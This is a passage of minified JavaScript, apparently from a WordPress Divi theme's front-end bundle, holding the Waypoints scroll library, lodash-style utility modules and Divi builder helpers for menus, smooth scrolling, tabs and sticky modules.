i[t.waypointContextKey]},window.onload=function(){o&&o(),e.refreshAll()},a.requestAnimationFrame=function(e){(window.requestAnimationFrame||window.mozRequestAnimationFrame||window.webkitRequestAnimationFrame||t).call(window,e)},a.Context=e}(),function(){"use strict";function t(t,e){return t.triggerPoint-e.triggerPoint}function e(t,e){return e.triggerPoint-t.triggerPoint}function n(t){this.name=t.name,this.axis=t.axis,this.id=this.name+"-"+this.axis,this.waypoints=[],this.clearTriggerQueues(),i[this.axis][this.name]=this}var i={vertical:{},horizontal:{}},a=window.Waypoint;n.prototype.add=function(t){this.waypoints.push(t)},n.prototype.clearTriggerQueues=function(){this.triggerQueues={up:[],down:[],left:[],right:[]}},n.prototype.flushTriggers=function(){for(var n in this.triggerQueues){var i=this.triggerQueues[n],a="up"===n||"left"===n;i.sort(a?e:t);for(var o=0,r=i.length;r>o;o+=1){var s=i[o];(s.options.continuous||o===i.length-1)&&s.trigger([n])}}this.clearTriggerQueues()},n.prototype.next=function(e){this.waypoints.sort(t);var n=a.Adapter.inArray(e,this.waypoints);return n===this.waypoints.length-1?null:this.waypoints[n+1]},n.prototype.previous=function(e){this.waypoints.sort(t);var n=a.Adapter.inArray(e,this.waypoints);return n?this.waypoints[n-1]:null},n.prototype.queueTrigger=function(t,e){this.triggerQueues[e].push(t)},n.prototype.remove=function(t){var e=a.Adapter.inArray(t,this.waypoints);e>-1&&this.waypoints.splice(e,1)},n.prototype.first=function(){return this.waypoints[0]},n.prototype.last=function(){return this.waypoints[this.waypoints.length-1]},n.findOrCreate=function(t){return i[t.axis][t.name]||new n(t)},a.Group=n}(),function(){"use strict";function t(t){this.$element=e(t)}var e=window.jQuery,n=window.Waypoint;e.each(["innerHeight","innerWidth","off","offset","on","outerHeight","outerWidth","scrollLeft","scrollTop"],(function(e,n){t.prototype[n]=function(){var t=Array.prototype.slice.call(arguments);return this.$element[n].apply(this.$element,t)}})),e.each(["extend","inArray","isEmptyObject"],(function(n,i){t[i]=e[i]})),n.adapters.push({name:"jquery",Adapter:t}),n.Adapter=t}(),function(){"use strict";function t(t){return function(){var n=[],i=arguments[0];return"function"==typeof arguments[0]&&((i=t.extend({},arguments[1])).handler=arguments[0]),this.each((function(){var a=t.extend({},i,{element:this});"string"==typeof a.context&&(a.context=t(this).closest(a.context)[0]),n.push(new e(a))})),n}}var e=window.Waypoint;window.jQuery&&(window.jQuery.fn.waypoint=t(window.jQuery)),window.Zepto&&(window.Zepto.fn.waypoint=t(window.Zepto))}()},function(t,e){function n(t){return(n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}!function(t,e){for(var n in e)t[n]=e[n]}(window,function(t){var e={};function i(n){if(e[n])return e[n].exports;var a=e[n]={i:n,l:!1,exports:{}};return t[n].call(a.exports,a,a.exports,i),a.l=!0,a.exports}return i.m=t,i.c=e,i.d=function(t,e,n){i.o(t,e)||Object.defineProperty(t,e,{enumerable:!0,get:n})},i.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},i.t=function(t,e){if(1&e&&(t=i(t)),8&e)return t;if(4&e&&"object"==n(t)&&t&&t.__esModule)return t;var a=Object.create(null);if(i.r(a),Object.defineProperty(a,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var o in t)i.d(a,o,function(e){return t[e]}.bind(null,o));return a},i.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return i.d(e,"a",e),e},i.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},i.p="/",i(i.s=1463)}({1:function(t,e,n){var i=n(93);t.exports=function(t,e,n){var a=null==t?void 0:i(t,e);return void 0===a?n:a}},100:function(t,e){t.exports=function(t,e){for(var n=-1,i=null==t?0:t.length;++n<i&&!1!==e(t[n],n,t););return t}},101:function(t,e,n){var i=n(227),a=n(239),o=n(241),r=n(242),s=n(243);function c(t){var e=-1,n=null==t?0:t.length;for(this.clear();++e<n;){var i=t[e];this.set(i[0],i[1])}}c.prototype.clear=i,c.prototype.delete=a,c.prototype.get=o,c.prototype.has=r,c.prototype.set=s,t.exports=c},102:function(t,e,n){var i=n(149),a=n(207),o=n(257);t.exports=function(t,e,n){return e==e?o(t,e,n):i(t,a,n)}},107:function(t,e,i){(function(t){var a=i(138),o=e&&!e.nodeType&&e,r=o&&"object"==n(t)&&t&&!t.nodeType&&t,s=r&&r.exports===o&&a.process,c=function(){try{return r&&r.require&&r.require("util").types||s&&s.binding&&s.binding("util")}catch(t){}}();t.exports=c}).call(this,i(96)(t))},108:function(t,e,n){var i=n(76),a=n(245),o=n(246),r=n(247),s=n(248),c=n(249);function l(t){var e=this.__data__=new i(t);this.size=e.size}l.prototype.clear=a,l.prototype.delete=o,l.prototype.get=r,l.prototype.has=s,l.prototype.set=c,t.exports=l},110:function(t,e,n){var i=n(51);t.exports=function(t){return"function"==typeof t?t:i}},111:function(t,e,i){var a=i(4),o=i(53),r=/\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,s=/^\w*$/;t.exports=function(t,e){if(a(t))return!1;var i=n(t);return!("number"!=i&&"symbol"!=i&&"boolean"!=i&&null!=t&&!o(t))||s.test(t)||!r.test(t)||null!=e&&t in Object(e)}},116:function(t,e,n){var i=n(188),a=n(12),o=n(53),r=/^[-+]0x[0-9a-f]+$/i,s=/^0b[01]+$/i,c=/^0o[0-7]+$/i,l=parseInt;t.exports=function(t){if("number"==typeof t)return t;if(o(t))return NaN;if(a(t)){var e="function"==typeof t.valueOf?t.valueOf():t;t=a(e)?e+"":e}if("string"!=typeof t)return 0===t?t:+t;t=i(t);var n=s.test(t);return n||c.test(t)?l(t.slice(2),n?2:8):r.test(t)?NaN:+t}},117:function(t,e,n){var i=n(90),a=n(217),o=Object.prototype.hasOwnProperty;t.exports=function(t){if(!i(t))return a(t);var e=[];for(var n in Object(t))o.call(t,n)&&"constructor"!=n&&e.push(n);return e}},118:function(t,e,n){var i=n(250),a=n(30);t.exports=function t(e,n,o,r,s){return e===n||(null==e||null==n||!a(e)&&!a(n)?e!=e&&n!=n:i(e,n,o,r,t,s))}},119:function(t,e){t.exports=function(t,e){for(var n=-1,i=e.length,a=t.length;++n<i;)t[a+n]=e[n];return t}},12:function(t,e){t.exports=function(t){var e=n(t);return null!=t&&("object"==e||"function"==e)}},120:function(t,e){t.exports=function(t,e){for(var n=-1,i=null==t?0:t.length,a=0,o=[];++n<i;){var r=t[n];e(r,n,t)&&(o[a++]=r)}return o}},126:function(t,e,n){var i=n(162),a=n(17);t.exports=function(t,e){return t&&i(t,e,a)}},129:function(t,e){t.exports=function(t){var e=-1,n=Array(t.size);return t.forEach((function(t){n[++e]=t})),n}},138:function(t,e,i){(function(e){var i="object"==n(e)&&e&&e.Object===Object&&e;t.exports=i}).call(this,i(89))},139:function(t,e){var n=Function.prototype.toString;t.exports=function(t){if(null!=t){try{return n.call(t)}catch(t){}try{return t+""}catch(t){}}return""}},140:function(t,e,n){var i=n(147),a=n(173),o=n(148);t.exports=function(t,e,n,r,s,c){var l=1&n,_=t.length,d=e.length;if(_!=d&&!(l&&d>_))return!1;var p=c.get(t),u=c.get(e);if(p&&u)return p==e&&u==t;var f=-1,h=!0,b=2&n?new i:void 0;for(c.set(t,e),c.set(e,t);++f<_;){var v=t[f],m=e[f];if(r)var g=l?r(m,v,f,e,t,c):r(v,m,f,t,e,c);if(void 0!==g){if(g)continue;h=!1;break}if(b){if(!a(e,(function(t,e){if(!o(b,e)&&(v===t||s(v,t,n,r,c)))return b.push(e)}))){h=!1;break}}else if(v!==m&&!s(v,m,n,r,c)){h=!1;break}}return c.delete(t),c.delete(e),h}},141:function(t,e,n){var i=n(120),a=n(164),o=Object.prototype.propertyIsEnumerable,r=Object.getOwnPropertySymbols,s=r?function(t){return null==t?[]:(t=Object(t),i(r(t),(function(e){return o.call(t,e)})))}:a;t.exports=s},146:function(t,e,n){var i=n(101);function a(t,e){if("function"!=typeof t||null!=e&&"function"!=typeof e)throw new TypeError("Expected a function");var n=function n(){var i=arguments,a=e?e.apply(this,i):i[0],o=n.cache;if(o.has(a))return o.get(a);var r=t.apply(this,i);return n.cache=o.set(a,r)||o,r};return n.cache=new(a.Cache||i),n}a.Cache=i,t.exports=a},1463:function(t,e,n){"use strict";(function(t){var e=n(354),i=n(353),a=n(1464);!function(n){var o=n("body").hasClass("et-block-layout-preview"),r=n(".et-l--header").first(),s=0;if(window.et_pb_debounce=function(t,e,n){var i,a,o,r,s,c=Date.now||(new Date).getTime(),l=function l(){var _=c-r;_<e&&_>=0?i=setTimeout(l,e-_):(i=null,n||(s=t.apply(o,a),i||(o=a=null)))};return function(){o=this,a=arguments,r=c;var _=n&&!i;return i||(i=setTimeout(l,e)),_&&(s=t.apply(o,a),o=a=null),s}},r.length){var c=r.find(".et_builder_inner_content").children(".et_pb_section--fixed"),l=et_pb_debounce((function(t){s=0,n.each(c,(function(t,e){var i=n(e).outerHeight(!0);s+=i;var a=n(e).offset().top;a<0&&Math.abs(a)>s?s=0:a<0&&(s+=a)}))}),300);n(window).on("resize",l)}window.et_pb_smooth_scroll=function(t,e,i,o){var c=t.offset().top,l=n(window).width(),_=0,d=0,p="",u="",f=r.find(".et_pb_section");if(!(0,a.isTargetStickyState)(t)){_=n("body").hasClass("et_fixed_nav")&&l>980?(n("#top-header").outerHeight()||0)+(n("#main-header").outerHeight()||0)-1:0,n("#wpadminbar").length&&l>600&&(_+=n("#wpadminbar").outerHeight()||0),r.length&&(f.hasClass("et_pb_section--fixed")&&(p=Math.ceil(parseFloat(f.css("left"))),u=Math.ceil(parseFloat(f.css("right"))),l<980&&(_+=90)),0===p+u&&(_+=s));var h=(0,a.getClosestStickyModuleOffsetTop)(t);h&&(_+=h),d=e?0:Math.round(c)-_,void 0===o&&(o="swing"),n("html, body").animate({scrollTop:d},i,o)}},window.et_pb_form_placeholders_init=function(e){e.find('input:text, input[type="email"], input[type="url"], textarea').each((function(e,n){var i=t(n),a=i.siblings("label"),o=i.siblings("label").text();a.length&&(a.hide(),i.siblings("span.required")&&(o+=i.siblings("span.required").text(),i.siblings("span.required").hide()),i.val(o))})).on("focus",(function(){var e=t(this).siblings("label").text();t(this).siblings("span.required").length&&(e+=t(this).siblings("span.required").text()),t(this).val()===e&&t(this).val("")})).on("blur",(function(){var e=t(this).siblings("label").text();t(this).siblings("span.required").length&&(e+=t(this).siblings("span.required").text()),""===t(this).val()&&t(this).val(e)}))},window.et_duplicate_menu=function(t,e,a,o,r){e.each((function(){var e,s=n(this);if(!s.find("#".concat(a)).length&&(""!==t&&t.clone().attr("id",a).removeClass().attr("class",o).appendTo(s),(e=s.find("> ul")).find(".menu_slide").remove(),e.find(".et_pb_menu__logo-slot").remove(),e.find("li").first().addClass("et_first_mobile_item"),e.find("a").on("click",(function(){n(this).parents(".et_mobile_menu").siblings(".mobile_menu_bar").trigger("click")})),"no_click_event"!==r)){i.isBuilder&&s.off("click");var c=s.closest(".et_pb_section"),l=s.closest(".et_pb_row"),_="0px"!==c.css("border-radius"),d="0px"!==l.css("border-radius");s.on("click",".mobile_menu_bar",(function(){return n(".mobile_nav.opened .mobile_menu_bar").not(n(this)).trigger("click"),s.hasClass("closed")?(s.removeClass("closed").addClass("opened"),(_||d)&&(c.css("overflow","visible"),l.css("overflow","visible")),e.stop().slideDown(500)):(s.removeClass("opened").addClass("closed"),e.stop().slideUp(500),(_||d)&&setTimeout((function(){c.css("overflow","hidden"),l.css("overflow","hidden")}),500)),!1}))}})),n("#mobile_menu .centered-inline-logo-wrap").remove()},window.et_pb_remove_placeholder_text=function(e){e.find("input:text, textarea").each((function(e,n){var i=t(n),a=i.siblings("label");i.siblings("label").text(),a.length&&a.is(":hidden")&&a.text()==i.val()&&i.val("")}))},window.et_fix_fullscreen_section=function(){var t=n(o?e.top_window:window);n("section.et_pb_fullscreen").each((function(){var e=n(this);et_calc_fullscreen_section.bind(e),t.on("resize",et_calc_fullscreen_section.bind(e))}))},window.et_bar_counters_init=function(t){t.length&&t.css({width:"".concat(parseFloat(t.attr("data-width")),"%")})},window.et_fix_pricing_currency_position=function(t){setTimeout((function(){var e=void 0!==t?t:n(".et_pb_pricing_table");e.length&&e.each((function(){var t=n(this).find(".et_pb_et_price"),e=!!t.length&&t.find(".et_pb_dollar_sign"),i=!!t.length&&t.find(".et_pb_sum");e&&i&&e.css({marginLeft:"".concat(-e.width(),"px")})}))}),1)},window.et_pb_set_responsive_grid=function(t,e){setTimeout((function(){var i=t.innerWidth(),a=t.find(e),o=a.outerWidth(!0),r=o-a.outerWidth(),s=Math.round((i+r)/o),c=1,l=1,_=n();if(a.removeClass("last_in_row first_in_row on_last_row"),a.filter(":visible").each((function(){var t=n(this);t.hasClass("inactive")||(l===c?(t.addClass("first_in_row"),_=t):0==c%s&&(t.addClass("last_in_row"),l=c+1),c++)})),_.length){var d=_.parents(".et_pb_module");if(d.is(":last-child")){var p=_.parents(".et_pb_column")[0];n(p).find(".et_pb_grid_item").removeClass("on_last_row");var u=d.find(".et_pb_gallery_pagination");0===u.length&&(u=d.find(".et_pb_portofolio_pagination")),(0===u.length||u.length>0&&!u.is(":visible"))&&(s>1&&_.addClass("on_last_row"),_.nextAll().addClass("on_last_row"))}}}),1)},window.et_pb_set_tabs_height=function(t){void 0===t&&(t=n(".et_pb_tabs")),t.length&&t.each((function(){var t=n(this).find(".et_pb_tabs_controls"),e=t.find("li"),i=0,a=n(this).parents(".et_pb_column_1_3, .et_pb_column_1_4, .et_pb_column_3_8").length>0,o=parseFloat(n(window).width())<768,r=a||o;r&&n(this).addClass("et_pb_tabs_vertically_stacked"),e.length&&(t.children("li").removeAttr("style"),e.each((function(){var t=n(this).outerHeight();r||t>i&&(i=t)}))),0!==i&&t.children("li").css("height","".concat(i,"px"))}))},window.et_pb_box_shadow_apply_overlay=function(t){void 0!==document.body.style.pointerEvents&&(void 0===document.documentMode||document.documentMode>=11)?n(t).each((function(){n(this).children(".box-shadow-overlay").length||n(this).addClass("has-box-shadow-overlay").prepend('<div class="box-shadow-overlay"></div>')})):n(t).addClass(".et-box-shadow-no-overlay")},window.et_pb_init_nav_menu=function(t){t.each((function(){var t=n(this);t.data("et-is-menu-ready")||(t.find("li").on("mouseenter",(function(){window.et_pb_toggle_nav_menu(n(this),"open")})).on("mouseleave",(function(){window.et_pb_toggle_nav_menu(n(this),"close",0)})),n("body").on("touchend",(function(t){n(t.target).closest("ul.nav, ul.menu").length<1&&n(".et-hover").length>0&&window.et_pb_toggle_nav_menu(n(".et-hover"),"close")})),t.find("li.menu-item-has-children").on("touchend",(function(t){var e=n(t.target).closest(".menu-item");if(e.hasClass("menu-item-has-children")){var i=n(this),a=e.closest(".mega-menu-parent.et-touch-hover").length>0;if(i.hasClass("et-touch-hover")||a)void 0!==i.find(">a").attr("href")&&(window.location=i.find(">a").attr("href"));else{var o=n(t.target),r=o.closest(".menu-item").siblings(".et-touch-hover");if(o.closest(".et-touch-hover").length<1&&window.et_pb_toggle_nav_menu(n(".et-hover"),"close",0),i.addClass("et-touch-hover"),r.length>0){var s=r.find(".et-touch-hover");window.et_pb_toggle_nav_menu(r,"close"),window.et_pb_toggle_nav_menu(s,"close")}window.et_pb_toggle_nav_menu(i,"open")}t.preventDefault(),t.stopPropagation()}})),t.find("li.mega-menu").each((function(){var t=n(this),e=t.children("ul").children("li").length;e<4&&t.addClass("mega-menu-parent mega-menu-parent-".concat(e))})),t.data("et-is-menu-ready","ready"))}))},window.et_pb_toggle_nav_menu=function(t,e,n){if("open"===e)t.closest("li.mega-menu").length&&!t.hasClass("mega-menu")||(t.addClass("et-show-dropdown"),t.removeClass("et-hover").addClass("et-hover"));else{var i=void 0!==n?n:200;t.removeClass("et-show-dropdown"),t.removeClass("et-touch-hover"),setTimeout((function(){t.hasClass("et-show-dropdown")||t.removeClass("et-hover")}),i)}},window.et_pb_apply_sticky_image_effect=function(t){var e=t.closest(".et_pb_row"),n=e.closest(".et_pb_section"),i=t.closest(".et_pb_column"),a="et_pb_section_sticky",o="et_pb_section_sticky_mobile",r=n.children(".et_pb_row").last(),s=e.children(".et_pb_column").last(),c=i.children(".et_pb_module").last();return!e.is(r)||(r.addClass("et-last-child"),!t.is(c)||(n.hasClass(a)||n.addClass(a),i.addClass("et_pb_row_sticky"),void(!n.hasClass(o)&&i.is(s)&&n.addClass(o))))},window.et_pb_menu_inject_inline_centered_logo=function(t){var e=n(t).find("nav > ul > li"),i=Math.round(e.length/2),a=window.et_pb_menu_inject_item(t,i,!0);return a&&n(a).addClass("et_pb_menu__logo-slot"),a},window.et_pb_menu_inject_item=function(t,e,i){i=void 0===i||i,e=Math.max(e,0);var a=n(t).find("nav > ul").first();if(0===a.length)return null;var o=a.find("> li"),r=n("<li></li>");if(0===o.length)a.append(r);else{var s=i?"before":"after",c=i?o.eq(e):o.eq(o.length-1-e);0===c.length&&(s=i?"after":"before",c=i?o.last():o.first()),c[s](r)}return r.get(0)},window.et_pb_reposition_menu_module_dropdowns=et_pb_debounce((function(t){n(t||".et_pb_menu, .et_pb_fullwidth_menu").each((function(){var t=n(this).find(".et_pb_row").first();if(0===t.length)return!0;var e=t.offset().top,i=n(this).attr("class").replace(/^.*?(et_pb(?:_fullwidth)?_menu_\d+[^\s]*).*$/i,"$1"),a=n(this).find(".et_pb_menu__menu ul").first().hasClass("upwards"),o="";n(this).find(".et_pb_menu__menu > nav > ul > li.mega-menu.menu-item-has-children").each((function(){var r=n(this),s=r.attr("class").replace(/^.*?(menu-item-\d+).*$/i,"$1"),c=".".concat(i," li.").concat(s," > .sub-menu");if(a){var l=Math.floor(e+t.outerHeight()-r.offset().top)-1;o+="".concat(c,"{ bottom: ").concat(l.toString(),"px !important; }")}else l=Math.floor(r.offset().top+r.outerHeight()-e)-1,o+="".concat(c,"{ top: ").concat(l.toString(),"px !important; }")}));var r=n("style.et-menu-style-".concat(i)).first();0===r.length&&((r=n("<style></style>")).addClass("et-menu-style"),r.addClass("et-menu-style-".concat(i)),r.appendTo(n("head")));var s=r.html();o!==s&&r.html(o)}))}),200)}(t)}).call(this,n(8))},1464:function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.trimTransitionValue=e.isTargetStickyState=e.getStickyStyles=e.getLimitSelector=e.getLimit=e.getClosestStickyModuleOffsetTop=e.filterInvalidModules=void 0;var i=p(n(64)),a=p(n(9)),o=p(n(1)),r=p(n(159)),s=p(n(7)),c=p(n(5)),l=p(n(36)),_=p(n(8)),d=n(353);function p(t){return t&&t.__esModule?t:{default:t}}function u(t,e){var n=Object.keys(t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(t);e&&(i=i.filter((function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable}))),n.push.apply(n,i)}return n}function f(t){for(var e=1;e<arguments.length;e++){var n=null!=arguments[e]?arguments[e]:{};e%2?u(Object(n),!0).forEach((function(e){h(t,e,n[e])})):Object.getOwnPropertyDescriptors?Object.defineProperties(t,Object.getOwnPropertyDescriptors(n)):u(Object(n)).forEach((function(e){Object.defineProperty(t,e,Object.getOwnPropertyDescriptor(n,e))}))}return t}function h(t,e,n){return e in t?Object.defineProperty(t,e,{value:n,enumerable:!0,configurable:!0,writable:!0}):t[e]=n,t}e.getLimit=function(t,e){if(!(0,s.default)(["body","section","row","column"],e))return!1;var n=b(t,e);if(!n)return!1;var i=n.outerHeight(),a=n.outerWidth();return{limit:e,height:i,width:a,offsets:(0,d.getOffsets)(n,a,i)}};var b=function(t,e){var n=!1;switch(e){case"body":n=".et_builder_inner_content";break;case"section":n=".et_pb_section";break;case"row":n=".et_pb_row";break;case"column":n=".et_pb_column"}return!!n&&t.closest(n)};e.getLimitSelector=b,e.filterInvalidModules=function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n={};return(0,a.default)(t,(function(t,i){(0,_.default)(t.selector).parents(".et_pb_sticky_module").length>0||(!(0,c.default)(e)&&e[i]?n[i]=f(f({},e[i]),t):n[i]=t)})),n},e.getStickyStyles=function(t,e,n){var i=e.clone().addClass("et_pb_sticky et_pb_sticky_style_dom").attr({"data-sticky-style-dom-id":t,style:""}).css({opacity:0,transition:"none",animation:"none"});i.find("img").each((function(t){var n=(0,_.default)(this),i=e.find("img").eq(t),a=(0,o.default)(i,[0,"naturalWidth"],e.find("img").eq(t).outerWidth()),r=(0,o.default)(i,[0,"naturalHeight"],e.find("img").eq(t).outerHeight());n.attr({scrset:"",src:'data:image/svg+xml;utf8,<svg xmlns="http://www.w3.org/2000/svg" width="'.concat(a,'" height="').concat(r,'"><rect width="').concat(a,'" height="').concat(r,'" /></svg>')})})),e.after(i);var a=function(t){var a="margin".concat(t),o=e.hasClass("et_pb_sticky")?n:e;return parseFloat(i.css(a))-parseFloat(o.css(a))},r=e.parent().hasClass("et_pb_equal_columns");r&&(e.hide(),n.hide());var s={height:i.outerHeight(),width:i.outerWidth(),marginRight:a("Right"),marginLeft:a("Left"),padding:i.css("padding")};return r&&(e.show(),n.show()),(0,_.default)('.et_pb_sticky_style_dom[data-sticky-style-dom-id="'.concat(t,'"]')).remove(),s},e.trimTransitionValue=function(t,e){(0,l.default)(t)||(t="");var n=t.split(", "),a=(0,i.default)(n,(function(t){return!(0,s.default)(e,(0,r.default)(t.split(" ")))}));return(0,c.default)(a)?"none":a.join(", ")},e.getClosestStickyModuleOffsetTop=function(t){var e=t.offset();e.right=e.left+t.outerWidth();var n=null,i=0,r=(0,o.default)(window.ET_FE,"stores.sticky.modules",{});if((0,a.default)(r,(function(i){if((0,s.default)(["top_bottom","top"],i.position)&&!t.is((0,o.default)(i,"selector"))&&!((0,o.default)(i,"offsets.right",0)<e.left||(0,o.default)(i,"offsets.left",0)>e.right||(0,o.default)(i,"offsets.top",0)>e.top)){var a=(0,o.default)(i,"bottomLimitSettings.offsets.bottom");a&&a<e.top||(n=i)}})),(0,o.default)(n,"topOffsetModules",!1)){(0,a.default)((0,o.default)(n,"topOffsetModules",[]),(function(t){var e=(0,o.default)(r,[t,"heightSticky"],(0,o.default)(r,[t,"height"],0));i+=e}));var c=(0,o.default)(r,[n.id,"heightSticky"],(0,o.default)(r,[n.id,"height"],0));i+=c}return i},e.isTargetStickyState=function(t){var e=(0,o.default)(window.ET_FE,"stores.sticky.modules",{}),n=!1;return(0,a.default)(e,(function(e){var i=t.is((0,o.default)(e,"selector")),a=e.isSticky,r=e.isPaused;if(i&&a&&!r)return n=!0,!1})),n}},147:function(t,e,n){var i=n(101),a=n(251),o=n(252);function r(t){var e=-1,n=null==t?0:t.length;for(this.__data__=new i;++e<n;)this.add(t[e])}r.prototype.add=r.prototype.push=a,r.prototype.has=o,t.exports=r},148:function(t,e){t.exports=function(t,e){return t.has(e)}},149:function(t,e){t.exports=function(t,e,n,i){for(var a=t.length,o=n+(i?1:-1);i?o--:++o<a;)if(e(t[o],o,t))return o;return-1}},150:function(t,e,n){var i=n(116);t.exports=function(t){return t?(t=i(t))===1/0||t===-1/0?17976931348623157e292*(t<0?-1:1):t==t?t:0:0===t?t:0}},159:function(t,e){t.exports=function(t){return t&&t.length?t[0]:void 0}},162:function(t,e,n){var i=n(203)();t.exports=i},163:function(t,e,n){var i=n(187),a=n(80),o=n(4),r=n(73),s=n(71),c=n(82),l=Object.prototype.hasOwnProperty;t.exports=function(t,e){var n=o(t),_=!n&&a(t),d=!n&&!_&&r(t),p=!n&&!_&&!d&&c(t),u=n||_||d||p,f=u?i(t.length,String):[],h=f.length;for(var b in t)!e&&!l.call(t,b)||u&&("length"==b||d&&("offset"==b||"parent"==b)||p&&("buffer"==b||"byteLength"==b||"byteOffset"==b)||s(b,h))||f.push(b);return f}},164:function(t,e){t.exports=function(){return[]}},169:function(t,e){t.exports=function(t,e){return function(n){return t(e(n))}}},17:function(t,e,n){var i=n(163),a=n(117),o=n(38);t.exports=function(t){return o(t)?i(t):a(t)}},170:function(t,e,n){var i=n(44)(n(23),"Set");t.exports=i},171:function(t,e,n){var i=n(44)(n(23),"WeakMap");t.exports=i},172:function(t,e,n){var i=n(226),a=/[^.[\]]+|\[(?:(-?\d+(?:\.\d+)?)|(["'])((?:(?!\2)[^\\]|\\.)*?)\2)\]|(?=(?:\.|\[\])(?:\.|\[\]|$))/g,o=/\\(\\)?/g,r=i((function(t){var e=[];return 46===t.charCodeAt(0)&&e.push(""),t.replace(a,(function(t,n,i,a){e.push(i?a.replace(o,"$1"):n||t)})),e}));t.exports=r},173:function(t,e){t.exports=function(t,e){for(var n=-1,i=null==t?0:t.length;++n<i;)if(e(t[n],n,t))return!0;return!1}},174:function(t,e,n){var i=n(23).Uint8Array;t.exports=i},175:function(t,e){t.exports=function(t){var e=-1,n=Array(t.size);return t.forEach((function(t,i){n[++e]=[i,t]})),n}},176:function(t,e,n){var i=n(177),a=n(141),o=n(17);t.exports=function(t){return i(t,o,a)}},177:function(t,e,n){var i=n(119),a=n(4);t.exports=function(t,e,n){var o=e(t);return a(t)?o:i(o,n(t))}},178:function(t,e,n){var i=n(12);t.exports=function(t){return t==t&&!i(t)}},179:function(t,e){t.exports=function(t,e){return function(n){return null!=n&&n[t]===e&&(void 0!==e||t in Object(n))}}},186:function(t,e){t.exports=function(){return!1}},187:function(t,e){t.exports=function(t,e){for(var n=-1,i=Array(t);++n<t;)i[n]=e(n);return i}},188:function(t,e,n){var i=n(189),a=/^\s+/;t.exports=function(t){return t?t.slice(0,i(t)+1).replace(a,""):t}},189:function(t,e){var n=/\s/;t.exports=function(t){for(var e=t.length;e--&&n.test(t.charAt(e)););return e}},190:function(t,e,n){var i=n(45);t.exports=function(t,e){return i(e,(function(e){return t[e]}))}},201:function(t,e,n){var i=n(35),a=n(221),o=n(12),r=n(139),s=/^\[object .+?Constructor\]$/,c=Function.prototype,l=Object.prototype,_=c.toString,d=l.hasOwnProperty,p=RegExp("^"+_.call(d).replace(/[\\^$.*+?()[\]{}|]/g,"\\$&").replace(/hasOwnProperty|(function).*?(?=\\\()| for .+?(?=\\\])/g,"$1.*?")+"$");t.exports=function(t){return!(!o(t)||a(t))&&(i(t)?p:s).test(r(t))}},202:function(t,e,n){var i=n(23)["__core-js_shared__"];t.exports=i},203:function(t,e){t.exports=function(t){return function(e,n,i){for(var a=-1,o=Object(e),r=i(e),s=r.length;s--;){var c=r[t?s:++a];if(!1===n(o[c],c,o))break}return e}}},204:function(t,e,n){var i=n(38);t.exports=function(t,e){return function(n,a){if(null==n)return n;if(!i(n))return t(n,a);for(var o=n.length,r=e?o:-1,s=Object(n);(e?r--:++r<o)&&!1!==a(s[r],r,s););return n}}},205:function(t,e,n){var i=n(74),a=n(80),o=n(4),r=n(71),s=n(99),c=n(52);t.exports=function(t,e,n){for(var l=-1,_=(e=i(e,t)).length,d=!1;++l<_;){var p=c(e[l]);if(!(d=null!=t&&n(t,p)))break;t=t[p]}return d||++l!=_?d:!!(_=null==t?0:t.length)&&s(_)&&r(p,_)&&(o(t)||a(t))}},206:function(t,e,n){var i=n(287),a=n(205);t.exports=function(t,e){return null!=t&&a(t,e,i)}},207:function(t,e){t.exports=function(t){return t!=t}},217:function(t,e,n){var i=n(169)(Object.keys,Object);t.exports=i},218:function(t,e,n){var i=n(44)(n(23),"DataView");t.exports=i},219:function(t,e,n){var i=n(59),a=Object.prototype,o=a.hasOwnProperty,r=a.toString,s=i?i.toStringTag:void 0;t.exports=function(t){var e=o.call(t,s),n=t[s];try{t[s]=void 0;var i=!0}catch(t){}var a=r.call(t);return i&&(e?t[s]=n:delete t[s]),a}},220:function(t,e){var n=Object.prototype.toString;t.exports=function(t){return n.call(t)}},221:function(t,e,n){var i,a=n(202),o=(i=/[^.]+$/.exec(a&&a.keys&&a.keys.IE_PROTO||""))?"Symbol(src)_1."+i:"";t.exports=function(t){return!!o&&o in t}},222:function(t,e){t.exports=function(t,e){return null==t?void 0:t[e]}},223:function(t,e,n){var i=n(44)(n(23),"Promise");t.exports=i},224:function(t,e,n){var i=n(37),a=n(30);t.exports=function(t){return a(t)&&"[object Arguments]"==i(t)}},225:function(t,e,n){var i=n(37),a=n(99),o=n(30),r={};r["[object Float32Array]"]=r["[object Float64Array]"]=r["[object Int8Array]"]=r["[object Int16Array]"]=r["[object Int32Array]"]=r["[object Uint8Array]"]=r["[object Uint8ClampedArray]"]=r["[object Uint16Array]"]=r["[object Uint32Array]"]=!0,r["[object Arguments]"]=r["[object Array]"]=r["[object ArrayBuffer]"]=r["[object Boolean]"]=r["[object DataView]"]=r["[object Date]"]=r["[object Error]"]=r["[object Function]"]=r["[object Map]"]=r["[object Number]"]=r["[object Object]"]=r["[object RegExp]"]=r["[object Set]"]=r["[object String]"]=r["[object WeakMap]"]=!1,t.exports=function(t){return o(t)&&a(t.length)&&!!r[i(t)]}},226:function(t,e,n){var i=n(146);t.exports=function(t){var e=i(t,(function(t){return 500===n.size&&n.clear(),t})),n=e.cache;return e}},227:function(t,e,n){var i=n(228),a=n(76),o=n(98);t.exports=function(){this.size=0,this.__data__={hash:new i,map:new(o||a),string:new i}}},228:function(t,e,n){var i=n(229),a=n(230),o=n(231),r=n(232),s=n(233);function c(t){var e=-1,n=null==t?0:t.length;for(this.clear();++e<n;){var i=t[e];this.set(i[0],i[1])}}c.prototype.clear=i,c.prototype.delete=a,c.prototype.get=o,c.prototype.has=r,c.prototype.set=s,t.exports=c},229:function(t,e,n){var i=n(75);t.exports=function(){this.__data__=i?i(null):{},this.size=0}},23:function(t,e,i){var a=i(138),o="object"==("undefined"==typeof 